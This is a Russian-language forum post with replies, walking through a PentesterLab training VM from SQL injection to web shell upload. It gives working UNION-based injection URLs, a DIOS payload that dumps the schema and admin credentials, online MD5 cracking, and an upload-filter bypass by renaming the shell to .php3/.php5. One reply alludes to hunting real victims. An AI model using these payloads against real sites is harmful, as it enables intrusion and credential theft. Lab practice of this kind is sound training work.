Тем кто в теме врятли что то новое увидет здесь.Поэтому гамнокритика мне не нужна в коментах.Хотите срать - срите в отведенных для этого местах. И так сегодня наша тема "От SQL иньекции до WebShell-а" Будем учиться на тренировачной площадке - я скачал ее с Code: https://pentesterlab.com/exercises/from_sqli_to_shell Для видео ее будет достотачно. И так начнем. Первое что нам нужно найти уязвимый параметр.В нашем случае это параметр id. Code: http://192.168.8.131/cat.php?id=1' Теперь пробуем сбалансировать запрос: Code: http://192.168.8.131/cat.php?id=1-- - Ищем количество столбцов: Находим: Code: http://192.168.8.131/cat.php?id=1 order by 4-- - Ищем уязвимые столбцы: Code: http://192.168.8.131/cat.php?id=.1 union select 1,2,3,4 -- - Проверимь базу,версию, Code: http://192.168.8.131/cat.php?id=.1 union select 1,concat(database(),0x20,version()),3,4-- - Ищем админку: Нашли Code: http://192.168.8.131/admin Будем пробовать получить доступ к админке... Пробуем разкрутить скуль и получить login pass админа. Для экономии времени я буду юзать DIOS (Dump In One Shot) c помощью которого можно быстро получить список всех таблиц в один запрос: Code: make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3a,table_schema,0x3c6c693e,table_name,column_name)),@) И так наш запрос будет следующим: Code: http://192.168.8.131/cat.php?id=.1 union select 1,concat(make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3a,table_schema,0x3c6c693e,table_name,column_name)),@)),3,4-- - Ищем таблицу с юзерами... таблица: users , колонки: login и password получим даные с этих столбцов: Code: http://192.168.8.131/cat.php?id=.1 union select 1,concat(make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3a,login,0x203a3a3a20,password)),@)),3,4-- - Получили логин:admin и пароль в хэше:8efe310f9ab3efeae8d410a8e0166eb2 Первым делом идем на первый онлайн сервис по расшифровки хэша: В моем случае это: Code: http://hashkiller.co.uk/md5-decrypter.aspx пробуем расшифровать наш хэш: Нам повезло)) Пароль расшифрован) Пароль4ssw0rd Итак идем в админку. Зашли и ищем там страницу для загрузки контента(картники,новости,музыку и т.д...) Code: http://192.168.8.131/admin/new.php ПРобуем загрузить наш шелл... Говорит NO PHP! ((( Ну ничего,есть много способов обхода этого фильтра.Сейчас я о них рассказивать не буду - для этого я поже сниму отдельное видео по этой теме.. Для обхода этого фильтра в нашей ситуации достаточно переименовать наш shell.php в shell.php3 или shell.php4 или shell.php5 И так пробуем: Ура мы залились) Всем спасибо )) С вами был Mister_Bert0ni)
очень мило, хороший мануал. Хороший не потому, что ново, а потому, что практика. Практика - большая проблема для новичков. Огромная. Таким образом, выживают только те, кому не жаль времени на бесконечный поиск жертв под определенные уязвимости без дорков. А тут - на тебе, бесплатный полигон на локалхосте. И не надо думать о логах. А эта тренировочная площадка - это типа сайтик с заведомо известными уязвимостями? ставится на вамп? Чего это у тебя там восьмая подсеть на локалхосте? В общем, мне кажется, статью стоит дополнить (может, накидать других вариантов по тренировке на локалхосте) и можно в избранное постить. Spoiler: оффтоп ЗЫ хыхы ну вы поняли.
PHP: https://www.pentesterlab.com/exercises/ Он в целом классный рессурс. Именно та я 'пощупал' shellshock . К сожалению в реальных условиях нет